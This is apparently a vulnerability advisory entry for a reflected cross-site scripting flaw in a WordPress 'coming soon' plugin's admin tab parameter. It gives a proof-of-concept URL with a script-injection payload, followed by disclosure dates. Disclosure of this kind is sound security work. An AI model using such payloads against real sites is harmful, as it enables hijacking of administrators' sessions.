The plugin does not sanitise and escape the tab parameter before outputting it back in an attribute in the admin dashboard, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin.php?page=coming-soon-supsystic&tab="><script>alert(/XSS/)</script>
0xB9
Yes
2021-05-24 (about 1 years ago)
2022-04-04 (about 3 months ago)
2022-04-09 (about 2 months ago)